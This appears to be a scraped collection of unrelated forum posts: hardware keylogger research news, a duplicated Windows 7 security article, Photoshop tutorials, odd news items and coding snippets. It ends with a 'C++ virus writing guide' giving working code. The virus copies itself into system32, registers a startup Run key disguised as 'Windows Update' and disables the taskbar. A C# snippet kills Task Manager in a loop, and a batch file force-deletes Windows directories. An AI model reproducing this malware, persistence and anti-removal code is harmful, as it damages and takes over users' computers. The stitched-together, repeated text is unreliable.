JitterBugs Could Turn Your Computer Keyboard Against You, Warn Engineers


[Image: N5bA7.jpg]
— Researchers from the University of Pennsylvania School of Engineering and Applied Science warn against an entirely new threat to computer security: peripheral devices -- such as keyboards, mice or microphones -- which could be physically bugged in an attempt to steal data. Penn graduate student Gaurav Shah has identified a class of devices that could covertly transmit data across an existing network connection without the user's knowledge.They are called JitterBugs, named by Shah's advisor, Penn Associate Professor Matthew Blaze, for both the way they transmit stolen data in "jittery" chunks by adding nearly imperceptible processing delays after a keystroke and for the "jitters" such a bug could inspire in anyone with secure data to safeguard.

Shah presented his findings Aug. 3 at the USENIX Security Conference in Vancouver, B.C., where it was designated the "Best Student Paper" by conference organizers. As proof of the concept, Shah and his colleagues built a functional keyboard JitterBug with little difficulty.

"This is spy stuff. Someone would need physical access to your keyboard to place a JitterBug device, but it could be quite easy to hide such a bug in plain sight among cables or even replace a keyboard with a bugged version," said Shah, a graduate student in Penn's Department of Computers and Information Science. "Although we do not have evidence that anyone has actually been using JitterBugs, our message is that if we were able to build one, so could other, less scrupulous people."

JitterBug devices are conceptually similar to keystroke loggers, such as the one famously used by the FBI to gather evidence against bookmaker Nicodemo Scarfo Jr. Unlike keystroke loggers, which would have to be physically installed into a subject's computer and then retrieved, a keyboard JitterBug only needs to be installed. The device itself sends the collected information through any interactive software application where there is a correlation between keyboard activity and network activity, such as instant messaging, SSH or remote desktop applications. The bug leaks the stolen data through short, virtually unnoticeable delays added every time the user presses a key.

Anytime the user surfs the web, sends an e-mail or instant messages someone, an implanted JitterBug could be timed to open a covert jitter channel to send stolen data. According to Shah, a JitterBug could not log and transmit every touch of the key due to limited storage space on the device, but it could be primed to record a keystroke with a particular trigger.

"For example, one could pre-program a JitterBug with the user name of the target as a trigger on the assumption that the following keystrokes would include the user's password," Shah said. "Triggers might also be more generic, perhaps programmed to detect certain typing patterns that indicate some sort of important information might follow."

JitterBugs are potentially worrisome to governments, universities or corporations with information meant to be kept confidential. One particular scenario is what Blaze refers to as a "Supply Chain Attack," in which the manufacture of computer peripherals could be compromised. Such an attack could, for example, result in a large number of such JitterBugged keyboards in the market. An attacker would only then need to wait until a target of interest acquires a bugged keyboard.

According to Shah, the channel through which the JitterBug transmits data is also the point where it could be most easily detected and countered.

While his presentation only discussed simple countermeasures to JitterBugs, Shah's initial results indicate that the use of cryptographic techniques to hide the use of encoded jitter channels might be a promising approach.

"We normally do not think of our keyboard and input devices as being something that needs be secured; however, our research shows that if people really wanted to secure a system, they would also need to make sure that these devices can be trusted," Shah said. "Unless they are particularly paranoid, however, the average person does not need to worry about spies breaking into their homes and installing JitterBugs."

Funding for this research was provided through grants received by Blaze from the National Science Foundation's Cybertrust program.



Top Ten Security Reasons to Upgrade to Windows 7

Top Ten Security Reasons to Upgrade to Windows 7


After a devastating wrong turn with Vista, Microsoft is back on its game with Windows 7. Sure, Windows 7 has annoyances – such as touting attractive features, but making most of them available only to those who pay extra for Enterprise (or Ultimate). But Windows 7 Enterprise delivers a plethora of improvements to justify the cost and pain of migration. The security benefits you could reap by upgrading to Windows 7 Enterprise include the following:

1.Improved platform security.

Windows 7 picks up where XP SP2 and Vista left off, extending Data Execution Protection and Address Space Layout Randomization to deter malware, even when browsing. Kernel Patch Protection stops malware from hooking 64-bit kernel events, and Windows Service Hardening can enforce resource access profiles for included Microsoft services. Alas, not all applications use DEP and ASLR and only services can use WSH, but Windows 7 starts with a more solid foundation from which to fend off attackers.

2.Safer browsing.

Internet Explorer 8, supplied with all versions of Windows 7, incorporates a wealth of security enhancements, including SmartScreen filtering, trusted domain highlighting, type 1 cross-site script attack filters, and InPrivate browsing. IE8 takes advantage of ASLR and DEP and can apply more granular ActiveX settings—for example, letting admins authorize riskier ActiveX controls, but only by trusted sites or users. IE8 can also be installed on XP SP3 and Vista, but upgrading to Windows 7 makes the most of some IE8 features and provides further incentive to retire older, less secure browsers.

3.Secure protocol support.

Network protocols may not "wow" end users or sys admins, but they're a vital part of building a more secure foundation. Windows 7 includes native support for IPv6 (including IPv6 IPsec) and DNSSEC. These more secure protocols make it harder for attackers to spoof IP packets and addresses by providing cryptographic authentication and integrity checks. Enterprise networks must master other hurdles to actually use these protocols, but embedding protocol support in all of your endpoints satisfies one big pre-requisite.

4.Location-aware connection security.

Windows 7 includes policy-based network segmentation, letting admins apply different Windows Firewall rules to each adapter based on location (e.g., Wi-Fi at the office, Wi-Fi at home, Wi-Fi at a public hotspot). The Windows 7 Firewall itself has grown from outbound-only packet filtering into a full bi-directional TCP/IP firewall, enforcing rules that can now be centrally-configured with ActiveDirectory GPOs. Windows 7 still doesn't have the best personal firewall around, but this is a noteworthy improvement.

5.Quick-and-easy file recovery.

Windows XP creates System Restore points to roll a damaged PC back to a know-good earlier state. Windows 7 and Vista beef this up with Volume Shadow Copy (VSC) – a service that backs up entire volumes, including Windows system files, program files, settings, and user files. By default, shadow copies are created weekly on a Windows 7 PC with idle time. On-the-go workers can use VSC to recover a single lost document or a corrupted DLL in minutes, without connectivity or help. However, because shadow copies are stored on the same disk, they are not a replacement for routine data backup to archive.

6.Always-on secure remote access.

For those tired of intrusive VPNs, Windows 7 Enterprise offers DirectAccess. DA uses auto-initiated, authenticated, encrypted IPv6/IPsec tunnels to securely connect remote Windows 7 users to private network resources. DA tunnels can terminate at a Windows Server 2008 DA gateway or at any IPv6 Windows Server 2008 behind that gateway. Alas, in order to achieve user-transparent always-on secure remote access with DA, the enterprise must deploy Windows Server 2008 and IPv6. Fortunately, DA can wrap IPv6 inside IPv4 or HTTPS to traverse home and public networks that usually lack IPv6 today.

7.Usable user access control.

The tighter User Access Controls first introduced by Vista are back in Windows 7 – after a rigorous reality-check back at Redmond. UAC deters apps and users from making unauthorized changes by defaulting to Standard User and requiring explicit permission to elevate privileges when needed. Windows 7 now silently elevates many activities routinely needed by end-users (e.g., adding printers, changing time/date) to reduce prompting. Many Microsoft apps have also been refactored to segregate activities that do and do not require elevation, and admins can now configure prompts without disabling UAC altogether.

8.Better desktop auditing.

Vista added XML-based audit events at a finer level of granularity. Windows 7 took this further by including more helpful information in audit events—for example, indicating not just that a given activity was permitted or denied, but why that decision was made. These enhancements improve forensic analysis and troubleshooting capabilities and make it possible to easily find all changes made by an individual user or group.

9.Application whitelisting.

In Windows 7 Enterprise, XP/Vista Software Restriction Policy blacklists are replaced by AppLocker whitelists. SRPs were too hard to maintain and too easy to bypass. Windows 7 AppLocker strikes a better balance by permitting or denying program launch based on Publisher Rules (recommended), Hash Rules (for programs without signatures), and Path Rules (as a last resort). Publisher Rules check signatures on executables, installers, scripts, and libraries. A new wizard can even search an entire reference PC to find all programs and propose AppLocker Publisher Rules, falling back to Hash Rules only for programs without signatures. AppLocker still isn't for everyone, but it can deliver a more effective defense against malware while enforcing potentially-unwanted-program policies.

10.On-the-go data protection.

BitLocker, introduced in Vista, is back in Windows 7 Enterprise with major improvements. BitLocker full-disk encryption can now be controlled by GPOs, use a wider PIN or two-factor authentication to unlock drives, and interface with a central recovery key store. Windows 7 also plugs the "USB hole" with BitLocker To Go—portable data encryption for USB drives. BitLocker To Go stores an encrypted volume on a USB drive, along with a reader that can be used to decrypt those files on Vista or XP PCs. GPOs can be used to control whether unencrypted data can be written to USB, thereby enforcing encryption whenever files are permitted to leave an otherwise locked-down PC.

Take a hard look at these and other Windows 7 security features to determine how you can get the biggest bang for your buck during your OS migration. Some of these features require additional infrastructure – most notably DirectAccess. Several are only available when upgrading to Windows 7 Enterprise (or Ultimate). Most require careful planning and testing prior to broad rollout (e.g., UAC, AppLocker). However, if used wisely, Windows 7 can help many organizations strengthen their security postures.

Top Ten Security Reasons to Upgrade to Windows 7

Top Ten Security Reasons to Upgrade to Windows 7

#
# By Lisa Phifer

After a devastating wrong turn with Vista, Microsoft is back on its game with Windows 7. Sure, Windows 7 has annoyances – such as touting attractive features, but making most of them available only to those who pay extra for Enterprise (or Ultimate). But Windows 7 Enterprise delivers a plethora of improvements to justify the cost and pain of migration. The security benefits you could reap by upgrading to Windows 7 Enterprise include the following:

1.Improved platform security.

Windows 7 picks up where XP SP2 and Vista left off, extending Data Execution Protection and Address Space Layout Randomization to deter malware, even when browsing. Kernel Patch Protection stops malware from hooking 64-bit kernel events, and Windows Service Hardening can enforce resource access profiles for included Microsoft services. Alas, not all applications use DEP and ASLR and only services can use WSH, but Windows 7 starts with a more solid foundation from which to fend off attackers.

2.Safer browsing.

Internet Explorer 8, supplied with all versions of Windows 7, incorporates a wealth of security enhancements, including SmartScreen filtering, trusted domain highlighting, type 1 cross-site script attack filters, and InPrivate browsing. IE8 takes advantage of ASLR and DEP and can apply more granular ActiveX settings—for example, letting admins authorize riskier ActiveX controls, but only by trusted sites or users. IE8 can also be installed on XP SP3 and Vista, but upgrading to Windows 7 makes the most of some IE8 features and provides further incentive to retire older, less secure browsers.

3.Secure protocol support.

Network protocols may not "wow" end users or sys admins, but they're a vital part of building a more secure foundation. Windows 7 includes native support for IPv6 (including IPv6 IPsec) and DNSSEC. These more secure protocols make it harder for attackers to spoof IP packets and addresses by providing cryptographic authentication and integrity checks. Enterprise networks must master other hurdles to actually use these protocols, but embedding protocol support in all of your endpoints satisfies one big pre-requisite.

4.Location-aware connection security.

Windows 7 includes policy-based network segmentation, letting admins apply different Windows Firewall rules to each adapter based on location (e.g., Wi-Fi at the office, Wi-Fi at home, Wi-Fi at a public hotspot). The Windows 7 Firewall itself has grown from outbound-only packet filtering into a full bi-directional TCP/IP firewall, enforcing rules that can now be centrally-configured with ActiveDirectory GPOs. Windows 7 still doesn't have the best personal firewall around, but this is a noteworthy improvement.

5.Quick-and-easy file recovery.

Windows XP creates System Restore points to roll a damaged PC back to a know-good earlier state. Windows 7 and Vista beef this up with Volume Shadow Copy (VSC) – a service that backs up entire volumes, including Windows system files, program files, settings, and user files. By default, shadow copies are created weekly on a Windows 7 PC with idle time. On-the-go workers can use VSC to recover a single lost document or a corrupted DLL in minutes, without connectivity or help. However, because shadow copies are stored on the same disk, they are not a replacement for routine data backup to archive.

6.Always-on secure remote access.

For those tired of intrusive VPNs, Windows 7 Enterprise offers DirectAccess. DA uses auto-initiated, authenticated, encrypted IPv6/IPsec tunnels to securely connect remote Windows 7 users to private network resources. DA tunnels can terminate at a Windows Server 2008 DA gateway or at any IPv6 Windows Server 2008 behind that gateway. Alas, in order to achieve user-transparent always-on secure remote access with DA, the enterprise must deploy Windows Server 2008 and IPv6. Fortunately, DA can wrap IPv6 inside IPv4 or HTTPS to traverse home and public networks that usually lack IPv6 today.

7.Usable user access control.

The tighter User Access Controls first introduced by Vista are back in Windows 7 – after a rigorous reality-check back at Redmond. UAC deters apps and users from making unauthorized changes by defaulting to Standard User and requiring explicit permission to elevate privileges when needed. Windows 7 now silently elevates many activities routinely needed by end-users (e.g., adding printers, changing time/date) to reduce prompting. Many Microsoft apps have also been refactored to segregate activities that do and do not require elevation, and admins can now configure prompts without disabling UAC altogether.

8.Better desktop auditing.

Vista added XML-based audit events at a finer level of granularity. Windows 7 took this further by including more helpful information in audit events—for example, indicating not just that a given activity was permitted or denied, but why that decision was made. These enhancements improve forensic analysis and troubleshooting capabilities and make it possible to easily find all changes made by an individual user or group.

9.Application whitelisting.

In Windows 7 Enterprise, XP/Vista Software Restriction Policy blacklists are replaced by AppLocker whitelists. SRPs were too hard to maintain and too easy to bypass. Windows 7 AppLocker strikes a better balance by permitting or denying program launch based on Publisher Rules (recommended), Hash Rules (for programs without signatures), and Path Rules (as a last resort). Publisher Rules check signatures on executables, installers, scripts, and libraries. A new wizard can even search an entire reference PC to find all programs and propose AppLocker Publisher Rules, falling back to Hash Rules only for programs without signatures. AppLocker still isn't for everyone, but it can deliver a more effective defense against malware while enforcing potentially-unwanted-program policies.

10.On-the-go data protection.

BitLocker, introduced in Vista, is back in Windows 7 Enterprise with major improvements. BitLocker full-disk encryption can now be controlled by GPOs, use a wider PIN or two-factor authentication to unlock drives, and interface with a central recovery key store. Windows 7 also plugs the "USB hole" with BitLocker To Go—portable data encryption for USB drives. BitLocker To Go stores an encrypted volume on a USB drive, along with a reader that can be used to decrypt those files on Vista or XP PCs. GPOs can be used to control whether unencrypted data can be written to USB, thereby enforcing encryption whenever files are permitted to leave an otherwise locked-down PC.

Take a hard look at these and other Windows 7 security features to determine how you can get the biggest bang for your buck during your OS migration. Some of these features require additional infrastructure – most notably DirectAccess. Several are only available when upgrading to Windows 7 Enterprise (or Ultimate). Most require careful planning and testing prior to broad rollout (e.g., UAC, AppLocker). However, if used wisely, Windows 7 can help many organizations strengthen their security postures.

How to Make A Simple DVD Icon For your Movies

[Image: 30618892.png]

DVD template/PSD file: http://www.mediafire.com/?jx008bwzjyfj76j

ICO Conversion Website: http://converticon.com/

I hope you Enjoyed it

[TUTORIAL] Glossy Text Effect

Glossy Text Effect


In this tutorial i will be showing you how to create the following good-looking Glossy Text Effect with Photoshop.
With just one text layer and a few layer styles you can have yourself a deliciously glossy emblem text effect in no time. Since the entire effect is done on a vector text layer, you’ll be free to change the font face or letters to suit your needs and still retain all of its styling. As a final touch, we’ll add a simple shadow to give it some perspective and realism.

Step1
Open Photoshop and set your canvas to 800×600. We’ll be using a dark perforated material for the background. This can easily be made by cutting out a pattern of circles from your background and applying a subtle bevel.

Step2
Next, lay out your type. I’m using black Trajan, 425px in size to cover most of our area. A couple of letters will do for now.
[Image: glossyemblem_02.jpg]

Step3
Now lets slap on a barrage of layer effects. Start off by selecting your text and going to Layer > Layer Style > Drop Shadow and enter in the settings below. Then continue down the list while paying close attention to each setting and blending mode. Also take note of the different contour maps being used. You can find a larger array of contour maps.
Drop Shadow

[Image: glossyemblem_03.jpg]
Inner Glow

[Image: glossyemblem_04.jpg]
Bevel and Emboss

[Image: glossyemblem_05.jpg]
Contour
Satin

[Image: glossyemblem_07.jpg]
Gardient Overlay

[Image: glossyemblem_08.jpg]
Then access the Gardient Editor.

[Image: glossyemblem_09.jpg]
Stroke

[Image: glossyemblem_10.jpg]
Then acess the Gardient Editor of Stroke.

[Image: glossyemblem_11.jpg]

Glad you liked it.
And this is the final product:
[Image: glossyemblem_12.jpg]


[C#] - Protect Your Program From Task Manager

This disables the default windows task manager on a separate thread so it doesn't interfere with the rest of the program.

Uses a timer to constantly check for task manager and closes each found occurence.



//indent
private Thread taskmgrKill;

private void test()
{
Process[] taskMgr = Process.GetProcessesByName("taskmgr");
foreach (Process p in taskMgr)
p.Kill();
}

private void tmr(object sender, EventArgs e)
{
taskmgrKill = new Thread(new ThreadStart(test));
taskmgrKill.Start();
}

Crocodile Brings Down Plane.. (a month OLD)

A twin-engine plane crashed into a house in the Democratic Republic of Congo a few hundred yards from its destination, killing a British co-pilot and 19 others on board. The sole human survivor told investigators that an escaped crocodile caused the crash after a stampede of passenger running away from it caused the plan to serve shortly before it was due to land.

Crocodile brings down plane

The plane came down during an internal flight from the capital, Kinshasa, to Bandundu regional airport on August 25 but investigators could not find any mechanical problems with the plane. A report by news organisation Jeune Afrique stated: “According to the inquiry report and the testimony of the only survivor, the crash happened because of a panic sparked by the escape of a crocodile hidden in a sports bag. One of the passengers had hidden the animal, which he planned to sell, in a big sports bag, from which the reptile escaped as the plane began its descent into Bandundu. The terrified air hostess hurried towards the cockpit, followed by the passengers. The plane was then sent off-balance ‘despite the desperate efforts of the pilot. The crocodile survived the crash before being cut up with a machete.’

First Officer Chris Wilson, 39, died alongside Belgian pilot Danny Philemotte, 62 who could not regain control of the aircraft after the passengers caused it to swerve, before it crashed into the house which was unoccupied at the time.

Speaking to her local paper in Shurdington, Gloucestershire, Mr Wilson’s mother Jean, 78, paid tribute to her son, saying: “He loved flying and he worked hard to fulfill his dream of becoming a pilot. He had three jobs at once just to pay for his training. He absolutely adored flying. I’m very proud of him for working so hard. He loved life and did everything he could to achieve his dream. There have been so many messages from people he has known through the years. We didn’t realise so many people cared for him.”

Photoshop Quick Tip | Easy Rainbow Background

A really quick and easy tip for a really nice rainbow like background. And by quick, I mean REALLY quick!
So, let's get started!

Open a new file with about 800x500 and a transparent background.


Go to the infamous Filter/Render/Clouds and then go to Filter/Pixelate/Mezzotint with Long Lines as type.

It looks awfully ugly now, I know.

Go to Filter/Blur/Motion Blur set it to 90 degrees and 999 Distance.
This looks alot better now...

Make a new layer with a gradient from the left to the right, I used Spectrum, but anyting else colourfull looks great.

Set it to overlay and maybe tweak the opacity abit if it doesn't look that good.

RESULT:









Photoshop Tutorial | Jelly Text Effect |

Ok, so I wanted to make some Photoshop tutorials because I didn't see alot around here, the tutorials are pretty basic and I'll go over some basic things and techniques for you guys.
In all of my tutorials I use Photoshop CS4, but you can actually use every version of Photoshop for most of the effects, in fact, you can even use programs like Paint.NET and GIMP, these are free(!) and almost as powerfull as Photoshop.

In this tutorial we're going to make a sweet, jelly like text effect. This is what we are going to be making:
Image


Step 1
First up, make a new File at 800 pixels wide and 600 pixels high.
Now for the background, make a smooth radial gradient with these two shades of brown: #4e3d35 and #1e1916
(Note that the gradient doesn't start at the exact center of the image, but abit to the top left)

Image

For step 2, type, in a nice green (#4a9c1d), some text. The bolder the font, the better. I used Harabara (Download) and typed "Jelly" (I know, very original :roll: ).
Center it and go to Window/Character. Set your options to the same as mine.

Image


Step 3
Now add some blending styles to make it look more like jelly. You can always play around with the controls if you think mine don't look good enough

Image


Step 4
And now, the gloss.
Click on the icon of the text layer while holding Ctrl (Or Command for Mac users) to load the selection.
Go to Select/Modify/Contract and contract the selection by about 4 pixels.

Image


Step 5
Make a linear gradient wich goes from white to transparent. Make a new layer and click and drag from the top of the selection to the bottom. Now de-select.

Image


Step 6
Make elliptical selection at the bottom of the text and hit delete. You can use a ruler to center the selection.

Image


And there you go! A nice jelly type! Hope you learned something.
I'm going to make some more tutorials in the near future, but first I'm going to wait for some reactions on this one.

Image

Lady sues GOOGLE over their directions

Pedestrian Lauren Rosenberg, who was injured by a motorist whilst following Google Maps direction which she had downloaded, has a lawsuit seeking more than $100,000 (£68,000) in the US District Court in Utah against Google claiming that they had supplied unsafe directions. The lawsuit also names the motorist which hit her.

Lady sues Google over their directions

Although this case has become a talking point across the internet and on many blogs and forums, with many critics blaming the woman for ignoring her own safety to follow directions blindly, Rosenberg’s lawyer Allen Young said the truth was different. The directions Ms Rosenberg downloaded to her phone in January gave directions from one end of Park City to the other however the Google Maps led her to a four-lane street without footpaths. According to the lawsuit filed by the California resident that route was “not reasonably safe for pedestrians.”

Ms Rosenberg states that she did believe she could reach a footpath on the other side of Deer Valley Drive, so she tried to cross the four-lane street however she did not reach the median because she was struck by a speeding car on a pitch-black night. Rosenberg received multiple bone fractures and she required six weeks of rehabilitation.

Her lawyer Mr Young said,” We think there’s enough fault to go around, but Google had some responsibility to direct people correctly or warn them, they created a trap with walking instructions that people rely on. She relied on it and thought she should cross the street.” He also states that Ms Rosenberg is seeking compensation for her medical bills as well as more for lost wages and punitive damages.

Spokesperson for Google, Elaine Filadelfo said “the company had not received a copy of the lawsuit and could not discuss it, but she disputed Mr Young’s assertion that Google Maps provides no warning that walking routes may be missing footpaths or pedestrian areas. Every software version for desktop computers and mobile devices has had that disclaimer since Google Maps was launched in 2008.”

The Park City police also stated that some segments of Deer Valley Drive have footpaths but not the stretch that Rosenberg reached. The street has a walking path on the side Ms Rosenberg failed to reach. Rosenberg’s lawyer said the walking path was “totally snowpacked” and of no use to pedestrians in January.

Google Maps got GOD..!! (Rumor spread due to a picture error)







Well this image was posted a few weeks earlier and it went throughout the internet with comments and articles of people stating it as "GOOGLE MAPs GOT GOD?? "

well later as many other people confirmed that they have seen such mist on some other 3-D view images of GOOGLe maps..it was declared that this is just an error in the images taken by google ..

what else to say..

JUst POSTED HERE FOR TIME PASS....

EnJoy..!

Make Your Computer Faster - No Downloads

Okay most of you all know that their is already tons of stuff on your computer to remove memory, here are some of the major ones:
  • Disk Defragmenter
  • Disk Cleanup

If you have any common sense you would clear out your recycling bin once and awhile, and check around your computer and remove some unneeded videos, songs, and programs.

Some of you may also know you can do some ram.vbe stuff out of notepad to clean up some of your ram, or do that mystring code.
Well this is what I use... I open up notepad, paste the code that is below, save as "Clean.bat"
Then I open it up.
As you can tell by reading the code you can tell it cleans out your temp and what not. This is not a prank this is completely legit.


@echo off
del /s /f /q c:\windows\temp\*.*
rd /s /q c:\windows\temp
md c:\windows\temp
del /s /f /q C:\WINDOWS\Prefetch
del /s /f /q %temp%\*.*
rd /s /q %temp%
md %temp%
deltree /y c:\windows\tempor~1
deltree /y c:\windows\temp
deltree /y c:\windows\tmp
deltree /y c:\windows\ff*.tmp
deltree /y c:\windows\history
deltree /y c:\windows\cookies
deltree /y c:\windows\recent
deltree /y c:\windows\spool\printers
del c:\WIN386.SWP
cls

[Remember to save as (Something).bat] Don't forget the .bat.

(I am not taking any credit for this .)

C++ Viruse Writing Guide

Guide to simple C++ Viruses

Ok first off I’d like to say 2 things:

1. This guide is only intended for people who want to learn
2. I don’t condone releasing viruses in any way

Taking the above into consideration I’d like to say welcome to the world of virus programming I’m hoping upon reading this you well become as fascinated by viruses as I am and continue to study and write new unique viruses.

Most of the virus writing guides I’ve seen are lengthy, boring and out of date, this guide will try to be the opposite short, fun and to the point. Now this is what you will need to start programming:

Win32 API Reference <- Not Required but very helpful
A C++ Compiler – I Recommend DEV for people who do not wish to buy and Microsoft Visual C++ 6.0 for people with money and serious programmers, however DEV works fine.

Even if you have never programmed before you should be able to carry along with this one, but it helps if you know a little bit of C++.

Ok lets begin fire up DEV or MSVC and select new Win32 GUI for DEV users and Win32 for MSVC. Now with DEV it makes some generated code for GUI apps, delete it all leaving something like this:


Quote:
#include

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

return 0;
}
Now compile and run the code nothing should happen (if a black window pops up it means you didn’t goto win32) The reason nothing happened is because or program doesn’t do anything. It runs and exits we need to make it do something first of all add this code to the project in between the { } and before return 0;.

MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);

Now compile and run the program again A message box should pop up, cool ay? But its not much of a virus lets make it do some cool stuff. Add the following code to your project:


Quote:
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathto file));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);

MessageBox(NULL,”Hello”,”Messagebox Example”,MB_OK);
Once again make sure the code is before return 0; and the { }.Ok compile and run the code, now open up the system32 directory in you windows folder (for those who don’t know goto run in the startbar and type: %windir%\system32
Ok look for a file called virus.exe in the system32 folder. Don’t believe me that its our virus? Run the file it should come up with a message box saying “Hello”.

Cool is it not? Ok time to explain how this works:

char sytem[MAX_PATH]; This is the buffer to hold the system32 directory.
char pathtofile[MAX_PATH]; This is the buffer to hold the path to our virus.

HMODULE GetModH = GetModuleHandle(NULL); This one my be hard to grasp for some but bare with me. GetModH holds the handle to our virus GetModuleHandle() gets the handle and stores it there.

GetModuleFileName(GetModH,pathtofile,sizeof(pathto file)); This gets the FileName of our virus using the handle we got before and storing the path to it in pathtofile.

GetSystemDirectory(system,sizeof(system)); Basically this finds out what your system directory is. Remember not everyone’s window’s directory is c:\windows\system32. Mine is d:\winnt\system32 on this box, the reason for this is we want to copy to an existent system32 directory.

strcat(system,”\\virus.exe”); Ok we have the system32 directory c:\windows\system32 or whatever now we need a place to copy to. This function binds to strings together to form one. So our system buffer now says:
c:\windows\system32\virus.exe or whatever the case maybe. Note \\ is not a typo \\ is how c++ interprets \. A single \ is seen by c++ as an escape character and if you have one your virus will not work!

CopyFile(pathtofile,system,false); Pretty self explanatory copy from were our virus is to were we want it to be. What false means if virus.exe already exists it will copy over it, to stop this change false to true (leave it as false for this tutorial).

Ok that’s it next we are going add code so it will startup when the computer boots. We are going to use an 3 API calls to accomplish this
RegOpenKeyEx(); This opens the key we want to write to
RegSetValueEx(); This sets our value
RegCloseKey(); This closes the key

Time to add code to our fledgling virus


Quote:
HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);
Ok obviously this is going to need an more of an explanation than before. HKEY hKey is the buffer that holds the data for calls to the registry nothing else about this except you need it. RegOpenKeyEx Opens the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run this is the key for starting up for all users which is what we want. 0 is reserved and needs to stay 0. We want to open up the key with set permissions that’s why we use KEY_SET_VALUE. And then we add the buffer.

The next call: hKey is the buffer “Writing to the registry example” is the message to appear in the key you can change this to something less obviously like “Windows Update” or “Norton Security Shield” anyway be creative. The next zero is the same as above reserved needs to stay 0. REG_SZ is the type of key we want. There are other types like REG_BINARY and REG_DWORD but we are using REG_SZ which is for text. (const unsigned char*) formats our string to a const unsigned char * because it doesn’t accept normal chars. system is the buffer that holds the path to our virus and the final part is the size of the string, this is calculated automatically by using sizeof.

The next call closes the registry key.

Ok add this to you code so it looks something like:

Quote:

#include

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathto file));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);


HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

return 0;
}
Now run you code and open up regedit and browse to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run there should be a new key in the area to the right our key!

Now comes the fun part of writing a virus the payload! This could be anywhere from a DdoS to making the cursor jump around the screen. Note destructive payloads are lame and frowned upon by the virus community, so do you self a favour and get the idea of destroying computers out of your mind. Besides writing a non destructive payload is more fun. Lets go with a payload I’ve written and christened The Flasher.

Your code should now look like this with the payload attached:


Quote:
#include

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)

{

char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,pathtofile,sizeof(pathto file));
GetSystemDirectory(system,sizeof(system));

strcat(system,”\\virus.exe”);

CopyFile(pathtofile,system,false);


HKEY hKey;

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microso ft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &hKey );

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

RegCloseKey(hKey);

HWND hWin;

hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);

while(1==1)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000);
}

return 0;
}
Although small don’t underestimate this payload it is very annoying try it. To fix your startbar ctrl-alt-delete find virus.exe end the process. Then find explorer.exe end it. Finally while still in task manager goto file run and type “explorer.exe” without the quotes. If that doesn’t work change EnableWindow and ShowWindow to true instead of false, remember to change it back later though.

That’s it for now I’ll go in depth about Finding Windows and such next time. I’ll also teach you how to kill taskmanager. Keep experimenting there are hundreds of API calls you can use try them out. If you run into an error try and figure out what went wrong 95% of all errors are spelling mistakes.

Keep Programming,




By: SaMaN "The EthiCal H4x0R"